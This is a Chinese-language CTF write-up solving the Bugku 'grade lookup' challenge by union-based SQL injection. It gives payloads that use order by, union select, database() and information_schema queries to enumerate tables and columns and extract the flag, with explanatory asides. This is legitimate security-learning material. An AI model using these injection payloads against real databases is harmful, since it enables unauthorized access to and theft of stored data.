Bugku-成绩查询

学了MySQL的基础知识后,发现做sql注入类的题没一点思路,还是要刷题啊~

题目:

依次输入1,2,3后,出来了三份不同的成绩单,输入3的成绩单如下:

不过输入>=4的值后,就只有表没有信息了

不管输入什么值,url没有任何改变,则注入时使用post方法

打开postman(因为我使用的是Chrome),用post方法传递参数id,会发现id分别为1,2,3时与输入框分别输入1,2,3效果一样

如传递的参数为‘id=2’时

接下来就开始找表的列数(union查询需要用到),由于有人名、数学、英语、语文这四个变量,先尝试4,id的值为

1'order by 4#

相当于

SELECT 名字,数学成绩,英语成绩,语文成绩 FROM users WHERE user_id = '1' order by 4#';

显示为

order by 4:按第四字段排行

解释一下,如,hello表中有四条数据:

若要按照年龄大小从小到大排序

因为age位于第三列,因此只需‘order by 3’(默认从小到大排序)

如果超过这个列,就会报错

回到这个题,让id的值为

1'order by 5#

显示为

则可以确定一共有四列,则可以使用union联合查询,获取当前使用的数据库名,使id的参数为

0'union select 1,2,3,database()#

注:

使用 union 查询的时候需要和主查询的列数相同!!!

解释:

这条语句相当于

SELECT first_name, last_name FROM users WHERE user_id = '0' union select 1,2,3,database()#';

让user_id=’0’,目的是置空表的数据

因为表有四列,因此使用union要查询四个信息,目的想获取当前使用的数据库名,就使用database()这个函数,其他的select 1,2,3就是充数用的。。。如,

并没有卵用。。。

回到本题,请求后显示出了当前数据库名

接下来要获取skctf_flag中的数据表

information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息
,如数据库名,数据库的表,表栏的数据类型与访问权限等。
该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,
分别记录 DBMS 中的存储的表名和表名所在的数据库。

运用此知识获取,让id参数为:

0'union select 1,2,3,table_name from information_schema.tables where table_schema='skctf_flag'#

即获取当数据库为‘skctf_flag’时的表的名字

查到了表为‘fl4g’,接下来找表的列名

0'union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

即表名为‘fl4g’时的列名

注:
group_concat() : 将由不同栏位获得的字符串连在一起

如,

在表hello中,有如下数据

不使用group_concat()时,

使用时

即将所有列名的字符串连在了一起

得到:

即只有一列,列名为‘skctf_flag’

最后一步,找数据

0'union select 1,2,3,skctf_flag from fl4g#

get flag!!!